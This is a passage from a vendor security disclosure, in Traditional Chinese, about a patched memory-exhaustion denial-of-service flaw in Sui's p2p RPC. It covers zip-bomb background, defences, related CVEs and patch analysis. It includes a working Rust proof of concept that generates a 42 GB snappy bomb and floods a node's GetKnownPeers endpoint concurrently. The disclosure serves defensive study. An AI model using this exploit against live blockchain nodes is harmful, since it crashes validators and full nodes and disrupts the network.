目前該漏洞已被官方修復。 Sui mainnet_v1.6.3(2023 年 8 月 1 號)已經修復了此漏洞。

作者:Poet,Beosin 安全研究專家

封面:SUI

目前該漏洞已被官方修復。 Sui mainnet_v1.6.3(2023 年 8 月 1 號)已經修復了此漏洞。

前言

此前 Beosin 安全團隊發現了多個公鏈相關的漏洞,其中有一個漏洞比較有意思,我們與 Sui 團隊溝通後,徵得同意可以將其詳細信息公開。  這是 Sui 公鏈 p2p 協定中的一個拒絕服務漏洞,該漏洞可導致 Sui 網路中的節點因記憶體耗盡而崩潰。 這個拒絕服務漏洞是由一個古老的攻擊方式引起的————“記憶體炸彈”。

本文通過對該漏洞的介紹,希望大家對「記憶體炸彈」攻擊和其防禦手段有更多的認識和理解。 Beosin 作為區塊鏈安全行業的領先者,我們持續關注公鏈平臺的安全性

什麼是記憶體炸彈?

最早的記憶體炸彈是 zip 炸彈,也叫死亡 zip,是一種惡意的計算機檔,會使讀取它的程序崩潰或失效。 zip 炸彈不會劫持程式的操作,而是一個消耗過多時間、磁碟空間或記憶體來解壓縮的壓縮包。

zip 炸彈的一個例子是檔 42.zip,它是一個由 42KB 壓縮數據組成的 zip 檔,包含 16 組的五層嵌套 zip 檔,每個底層存檔包含一個 4.3GB 位元組(4 294 967295 位元組; 4 GiB − 1 B)的文件,總計 4.5 PB(4503 599626321 920 位元組; 4 PiB − 1 MiB)的未壓縮數據。

zip 炸彈的基本原理是,我們生成一個非常大的內容全是 0(或者其他值)的檔,然後壓縮成 zip 檔,由於相同內容的檔的壓縮比非常大,此時生成的 zip 檔非常小。 被攻擊目標在解壓 zip 文件之後,需要消耗非常多的記憶體來存儲被解壓之後的檔,記憶體會被快速耗盡,目標因為 OOM 而崩潰。

我們在 Windows 上做一個簡單的實驗:

利用如下命令生成一個內容全是 0 的,大小為 1GB 的檔:

fsutil file createnew test.txt 1073741824

利用 7zip 命令,將檔案壓縮為 zip 格式:

7z a test.zip test.txt

壓縮后的檔大小為:1.20MB
由此我們可以知道,對於全部是 0 的檔,zip 壓縮比接近 851:1
其實,任何格式的壓縮包都有可能成為記憶體炸彈,不僅僅是 zip 壓縮包。
我們繼續這個實驗,在 Windows 上用 7zip 將 1GB 的內容全是 0 的大檔,壓縮為不同的格式。 這樣我們得出下面的壓縮比清單:

事實上,不同的檔格式支援不同的壓縮演算法,比如 zip 檔支援 Deflate、Deflate64、BZIP2、LZMA、PPMd 等,不同壓縮演算法的壓縮比是不一樣的。 上面的表格是基於 7zip 預設壓縮演算法的測試結果。

記憶體炸彈一般防禦方法

我們可以通過限制解壓后的檔大小來防禦「記憶體炸彈」攻擊。 以下的方法可以限制解壓后的檔大小:
1 解壓后的數據大小放入壓縮包裡面。 在壓縮檔的某個位置讀取這個值,然後判斷其大小是否符合要求。

2 第一個方法無法完全解決這個問題,因為解壓后的檔大小可以被偽造。 所以我們可以傳遞一個固定大小的 Buffer,解壓過程中,如果數據大小超出 Buffer 的邊界,那麼就停止解壓,返回失敗資訊。

3 還有一個辦法是流式解壓。 一邊傳入小部分壓縮數據,一邊解壓這個數據,同時累加解壓后的數據大小,如果在某一個時刻,解壓后的數據大小超過閾值,就停止解壓,返回失敗資訊。

歷史上的「記憶體炸彈」漏洞

1 CVE-2023-3782

這是一個 OKHttp 庫的漏洞。 OKHttp 支援 Brotli 壓縮演算法,如果 HTTP 回應指定了 Brotli 壓縮演算法,由於 OKHttp 沒有做「記憶體炸彈」攻擊的防禦,用戶端會因為記憶體耗盡而崩潰。

漏洞描述:

https://github.com/square/okhttp/issues/7738

漏洞補丁:

https://github.com/envoyproxy/envoy/commit/d4c39e635603e2f23e1e08ddecf5a5fb5a706338#diff-88b327a1e72d55d1bb686b3b1f28f594b6b08139968304e6804a808fbb375ff0R26

我們可以看到,漏洞補丁限制了壓縮係數。

2 CVE-2022-36114

這是 Rust 包管理器 Cargo 的一個漏洞。 Cargo 從代碼源下載包的時候,沒有做「記憶體炸彈」防禦,導致解壓之後的檔佔用的磁碟空間非常大。
漏洞描述:

https://github.com/rust-lang/cargo/security/advisories/GHSA-2hvr-h6gw-qrxp

漏洞補丁:

https://github.com/rust-lang/cargo/commit/d1f9553c825f6d7481453be8d58d0e7f117988a7

我們可以看到,漏洞補丁限制解壓后的檔大小最大為 512MB。

3 CVE-2022-32206

這是知名網路下載工具 curl 的一個漏洞。 curl < 7.84.0 支援「鏈式」HTTP 壓縮演算法,這意味著伺服器回應可以多次壓縮,並且可能使用不同的演算法。 這個「解壓鏈」中可接受的「連結」數量是無限的,允許惡意伺服器插入幾乎無限數量的壓縮步驟。 使用這樣的解壓鏈可能會導致「記憶體炸彈」,使得 curl 最終花費大量的記憶體,因記憶體不足發生錯誤。

漏洞細節:https://lists.debian.org/debian-lts-announce/2022/08/msg00017.html

Sui 漏洞描述

1 在 Sui 的 p2p 協定中,為了減少頻寬壓力,有部分 RPC 消息是用 snappy 演演算法壓縮的。

2 每個 Sui 節點(不管是 validator 還是 fullnode)在 p2p 網络中都提供節點發現(“/sui. Discovery/GetKnownPeers“)和數據同步(”/sui. StateSync/PushCheckpointSummary“)RPC 服務。 節點發現和數據同步的 RPC 消息,實際上是使用 snappy 壓縮過的數據。 在處理 RPC 消息的過程中,節點先將數據全部解壓到記憶體,再用 bcs 演算法反序列化,然後釋放解壓數據和原始數據。 處理 RPC 數據的代碼在 “crates/mysten-network/src/codec.rs” 檔案裡:

    impl<U: serde::de::DeserializeOwned> Decoder for BcsSnappyDecoder<U> {        type Item = U;        type Error = bcs::Error;
fn decode(&mut self, buf: bytes::Bytes) -> Result<Self::Item, Self::Error> { let compressed_size = buf.len(); let mut snappy_decoder = snap::read::FrameDecoder::new(buf.reader()); let mut bytes = Vec::with_capacity(compressed_size); //Decompress snappy_decoder.read_to_end(&mut bytes)?; //Deserialize bcs::from_bytes(bytes.as_slice()) } }

3 RPC 消息的最大 size 為 2G。 這個限制硬編碼在 “crates/sui-node/src/lib.rs” 檔案裡面:

        let mut anemo_config = config.p2p_config.anemo_config.clone().unwrap_or_default();        // Set the max_frame_size to be 2 GB to work around the issue of there being too many        // staking events in the epoch change txn.        anemo_config.max_frame_size = Some(2 << 30);   // size of 2G !!!!!

4 我們可以創建一個 1.97G 的 snappy 壓縮檔,解壓之後變為 42G,且文件內容全部為 0。

5 選擇 “/sui. Discovery/GetKnownPeers“ 這個 p2p RPC 作為被攻擊的介面,向其發送大小為 1.97G 的 RPC 消息。 那麼節點需要至少 42+1.97=43.97G 的記憶體來解壓這個消息。

6 如果 Sui 節點(不管是 validator 還是 fullnode)可用記憶體超過 43.97G,那麼我們可以同時發送 n 個 RPC 消息,這樣在某個時間點,sui 節點需要 m(m 一般小於 n)個 43.97G 記憶體空間才能處理我們的攻擊 payload。
如果記憶體不足,sui 節點就會崩潰。

以下是我們的測試結果

我們可以看到,節點因為「Out of memory」而被系統「殺死」。。

PoC

1 創建基於 snappy 演算法的 “記憶體炸彈”

    //generate the "memory bomb"    //48.2M -> 1G    //96.4M -> 2G    //385M  -> 8G    //1.97G -> 42G    //    //set "how_many_gb" to set the decompressed size of "bomb"        let buf = [0; 1024];        let file = File::create(r"C:\Users\xxx\Desktop\42g").unwrap();        let mut encoder = snap::write::FrameEncoder::new(&file);        let how_many_gb = 42;        for _i in 0..1024 * 1024 * how_many_gb {            let _ = encoder.write_all(&buf).unwrap();        }        return;

2 攻擊節點

pub fn build_network(f: impl FnOnce(anemo::Router) -> anemo::Router, chain_id : &str) -> anemo::Network {    let router = f(anemo::Router::new());    let mut config = Config::default();    config.max_frame_size = Some(2 << 30);    // config.max_frame_size = Some(usize::MAX);    config.outbound_request_timeout_ms = Some(100 * 1000);    let network = anemo::Network::bind("0.0.0.0:0")        .private_key(random_key())        .server_name(chain_id)        .alternate_server_name("sui")        .config(config)        .start(router)        .unwrap();
println!( "starting network {} {}", network.local_addr(), network.peer_id(), );
network}
async fn attack_type_0(address: Address, buf: Bytes, chain_id : &str) ->Result<(),Error> { let network = build_network(|a| {a},chain_id); let (mut rec, _a) = network.subscribe()?; tokio::spawn(async move { handle_event(&mut rec).await });
let peerid = network.connect(address).await?;
let mut request = Request::new(buf); *request.route_mut() = "/sui.Discovery/GetKnownPeers".into(); // *request.route_mut() = "/sui.StateSync/PushCheckpointSummary".into(); let response = network.rpc(peerid, request).await?; println!("{:?}", response); loop { sleep(Duration::from_millis(2000)).await; }}
#[tokio::main(flavor = "multi_thread", worker_threads = 200)]async fn main() { //read the "bomb" file. let mut in_file = File::open(r"C:\Users\xxx\Desktop\512m.txt").unwrap(); let mut buf: Vec<u8> = Vec::new(); let _size = in_file.read_to_end(&mut buf).unwrap(); let bs = Bytes::from(buf);
//you can change "concurrent_attack" to a appropriate number!!! let concurrent_attack = 20; let target_ip = "192.168.153.129"; let target_port = 35561; //you can get your private network's chain_id from the sui-node's stdout. let chain_id = "sui-76e065b8"; for _i in 0..concurrent_attack { let bs = bs.clone(); tokio::spawn(async move { let respone = attack_type_0(Address::from((target_ip, target_port)),bs.clone(),chain_id).await; println!("error : {:?}", respone);
}); }
loop { sleep(Duration::from_millis(2000)).await; }}

補丁代碼分析

補丁連結:https://github.com/MystenLabs/sui/commit/42d4ad103a21d23fecd7c0271453da41604e71e9

我們可以看到補丁代碼利用了流式解壓,並限制瞭解壓后的最大大小為 1G。 同時將 RPC 消息的大小限制從 2G 降低為 1G。

漏洞影響

這個漏洞可以導致單個節點崩潰(validator 和 fullnode)。  漏洞利用非常簡單,只需要啟動多個線程向節點發送 payload,就可導致節點崩潰,不需要消耗 gas 費用。 Sui mainnet_v1.6.3(不包含)以前的版本都受此漏洞的影響。

漏洞修復

Sui mainnet_v1.6.3(2023 年 8 月 1 號)已經修復了此漏洞。 Beosin 也將持續關注各大公鏈上的漏洞,為整個 Web3 生態護航。

免責聲明:作為區塊鏈資訊平臺,本站所發佈文章僅代表作者及嘉賓個人觀點,與 Web3Caff 立場無關。 本文內容僅用於資訊分享,均不構成任何投資建議及要約,並請您遵守所在國家或地區的相關法律法規。